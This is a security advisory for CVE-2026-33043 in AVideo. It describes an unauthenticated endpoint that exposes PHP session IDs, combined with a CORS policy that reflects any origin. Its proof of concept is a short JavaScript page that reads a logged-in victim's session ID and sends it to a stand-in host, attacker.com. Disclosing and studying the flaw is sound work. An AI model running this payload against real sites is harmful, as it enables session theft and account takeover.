PT-2026-26000 · Packagist · Wwbn Avideo

Published

2026-03-17

·

Updated

2026-03-17

·

CVE-2026-33043

CVSS v3.1
8.1
VectorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.

Details

File: objects/phpsessionid.json.php
allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session id();
echo json encode($obj);
No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:
$HTTP ORIGIN = empty($ SERVER['HTTP ORIGIN']) ? @$ SERVER['HTTP REFERER'] : $ SERVER['HTTP ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP ORIGIN);
header("Access-Control-Allow-Credentials: true");
This means any external website can make a credentialed cross-origin request and read the session ID.

PoC

An attacker hosts the following page:
<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
 credentials: 'include'
})
.then(r => r.json())
.then(d => {
 // d.phpsessid = victim's session ID
 document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>
When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

Impact

Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.

Fix

Weakness Enumeration

CWE-942

Related Identifiers

CVE-2026-33043
GHSA-QC3P-398R-P59J

Affected Products

Wwbn Avideo